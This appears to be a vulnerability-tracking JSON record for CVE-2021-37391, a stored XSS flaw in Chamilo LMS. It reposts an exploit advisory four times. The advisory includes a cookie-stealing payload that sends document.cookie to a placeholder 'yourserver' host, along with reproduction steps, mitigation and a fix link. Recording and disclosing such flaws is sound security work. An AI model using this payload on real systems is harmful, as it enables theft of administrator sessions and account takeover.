{"vulnerability": "CVE-2021-37391", "sightings": [{"uuid": "cd4f626a-2c52-4dc8-a748-745303417abe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "seen", "source": "https://t.me/cibsecurity/27090", "content": "\u203c CVE-2021-37391 \u203c\n\nA user without privileges in Chamilo LMS 1.11.14 can send an invitation message to another user, e.g., the administrator, through main/social/search.php, main/inc/lib/social.lib.php and steal cookies or execute arbitrary code on the administration side via a stored XSS vulnerability via social network the send invitation feature.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-11T00:37:27.000000Z"}, {"uuid": "9c353d20-c18c-4823-be8e-b6b2311d7709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "seen", "source": "https://t.me/hacking_Attack/41228", "content": "Exploit Collector\nChamilo LMS 1.11.14 Cross Site Scripting / Account Takeover\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nChamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 2aec0cc4998138800d8ac868f08ddcb0\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover\n# Date: July 21 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://chamilo.org\n# Version:  Chamilo-lms-1.11.x\n# Tested on:  Chamilo-lms-1.11.x\n# CVE: CVE-2021-37391\n#Publication:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\nDescription:  A user without privileges in Chamilo LMS 1.11.x can send an\ninvitation message to another user, e.g., the administrator, through\nmain/social/search.php,\nmain/inc/lib/social.lib.php and steal cookies or execute arbitrary code on\nthe administration side via a stored XSS vulnerability via social network\nthe send invitation feature.  .\nCVE ID: CVE-2021-37391\nCVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N\nURL:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\n\nAffected parameter: send private message - text field\nPayload: x \nhttp://yourserver/?c='+document.cookie>\nSteps to reproduce:\n1. Navigate to the social network menu\n2. Select the victim profile\n3. Add the payload on the text field\n4. Submit the request and wait for the payload execution\n\n*Impact:* By using this vulnerability, an unprivileged user can steal\ncookies from an admin account or force the administrator to create an\naccount with admin privileges with an HTTP 302 redirect.\n*Mitigation*: Update the Chamilo to the latest version.\n*Fix*:\nhttps://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8\nCom os meus melhores cumprimentos,\n--\n*Pedro Tavares*\nFounder and Editor-in-Chief at seguranca-informatica.pt\nCo-founder of CSIRT.UBI\nCreator of 0xSI_f33d <https:\nseguranca-informatica.pt | @sirpedrotavares\n<https:| 0xSI_f33d\n<https:\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:57.288845Z"}, {"uuid": "8eeaaee0-bf71-4cd2-ad7e-70f36fe436c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "seen", "source": "https://t.me/hacking_Attack/41228", "content": "Exploit Collector\nChamilo LMS 1.11.14 Cross Site Scripting / Account Takeover\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nChamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 2aec0cc4998138800d8ac868f08ddcb0\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover\n# Date: July 21 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://chamilo.org\n# Version:  Chamilo-lms-1.11.x\n# Tested on:  Chamilo-lms-1.11.x\n# CVE: CVE-2021-37391\n#Publication:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\nDescription:  A user without privileges in Chamilo LMS 1.11.x can send an\ninvitation message to another user, e.g., the administrator, through\nmain/social/search.php,\nmain/inc/lib/social.lib.php and steal cookies or execute arbitrary code on\nthe administration side via a stored XSS vulnerability via social network\nthe send invitation feature.  .\nCVE ID: CVE-2021-37391\nCVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N\nURL:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\n\nAffected parameter: send private message - text field\nPayload: x \nhttp://yourserver/?c='+document.cookie>\nSteps to reproduce:\n1. Navigate to the social network menu\n2. Select the victim profile\n3. Add the payload on the text field\n4. Submit the request and wait for the payload execution\n\n*Impact:* By using this vulnerability, an unprivileged user can steal\ncookies from an admin account or force the administrator to create an\naccount with admin privileges with an HTTP 302 redirect.\n*Mitigation*: Update the Chamilo to the latest version.\n*Fix*:\nhttps://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8\nCom os meus melhores cumprimentos,\n--\n*Pedro Tavares*\nFounder and Editor-in-Chief at seguranca-informatica.pt\nCo-founder of CSIRT.UBI\nCreator of 0xSI_f33d <https:\nseguranca-informatica.pt | @sirpedrotavares\n<https:| 0xSI_f33d\n<https:\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:02:18.848563Z"}, {"uuid": "7a677bdc-5ded-456c-86f8-a191c9104a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41228", "content": "Exploit Collector\nChamilo LMS 1.11.14 Cross Site Scripting / Account Takeover\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nChamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 2aec0cc4998138800d8ac868f08ddcb0\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover\n# Date: July 21 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://chamilo.org\n# Version:  Chamilo-lms-1.11.x\n# Tested on:  Chamilo-lms-1.11.x\n# CVE: CVE-2021-37391\n#Publication:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\nDescription:  A user without privileges in Chamilo LMS 1.11.x can send an\ninvitation message to another user, e.g., the administrator, through\nmain/social/search.php,\nmain/inc/lib/social.lib.php and steal cookies or execute arbitrary code on\nthe administration side via a stored XSS vulnerability via social network\nthe send invitation feature.  .\nCVE ID: CVE-2021-37391\nCVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N\nURL:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\n\nAffected parameter: send private message - text field\nPayload: x \nhttp://yourserver/?c='+document.cookie>\nSteps to reproduce:\n1. Navigate to the social network menu\n2. Select the victim profile\n3. Add the payload on the text field\n4. Submit the request and wait for the payload execution\n\n*Impact:* By using this vulnerability, an unprivileged user can steal\ncookies from an admin account or force the administrator to create an\naccount with admin privileges with an HTTP 302 redirect.\n*Mitigation*: Update the Chamilo to the latest version.\n*Fix*:\nhttps://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8\nCom os meus melhores cumprimentos,\n--\n*Pedro Tavares*\nFounder and Editor-in-Chief at seguranca-informatica.pt\nCo-founder of CSIRT.UBI\nCreator of 0xSI_f33d <https:\nseguranca-informatica.pt | @sirpedrotavares\n<https:| 0xSI_f33d\n<https:\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T11:00:06.215664Z"}, {"uuid": "4d782f47-2ea3-4bf8-9572-7c46b5c16c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-37391", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41228", "content": "Exploit Collector\nChamilo LMS 1.11.14 Cross Site Scripting / Account Takeover\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nChamilo LMS version 1.11.14 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 2aec0cc4998138800d8ac868f08ddcb0\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Account Takeover\n# Date: July 21 2021\n# Exploit Author: sirpedrotavares\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://chamilo.org\n# Version:  Chamilo-lms-1.11.x\n# Tested on:  Chamilo-lms-1.11.x\n# CVE: CVE-2021-37391\n#Publication:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\nDescription:  A user without privileges in Chamilo LMS 1.11.x can send an\ninvitation message to another user, e.g., the administrator, through\nmain/social/search.php,\nmain/inc/lib/social.lib.php and steal cookies or execute arbitrary code on\nthe administration side via a stored XSS vulnerability via social network\nthe send invitation feature.  .\nCVE ID: CVE-2021-37391\nCVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N\nURL:\nhttps://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities\n\nAffected parameter: send private message - text field\nPayload: x \nhttp://yourserver/?c='+document.cookie>\nSteps to reproduce:\n1. Navigate to the social network menu\n2. Select the victim profile\n3. Add the payload on the text field\n4. Submit the request and wait for the payload execution\n\n*Impact:* By using this vulnerability, an unprivileged user can steal\ncookies from an admin account or force the administrator to create an\naccount with admin privileges with an HTTP 302 redirect.\n*Mitigation*: Update the Chamilo to the latest version.\n*Fix*:\nhttps://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8\nCom os meus melhores cumprimentos,\n--\n*Pedro Tavares*\nFounder and Editor-in-Chief at seguranca-informatica.pt\nCo-founder of CSIRT.UBI\nCreator of 0xSI_f33d <https:\nseguranca-informatica.pt | @sirpedrotavares\n<https:| 0xSI_f33d\n<https:\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T01:00:17.754216Z"}]}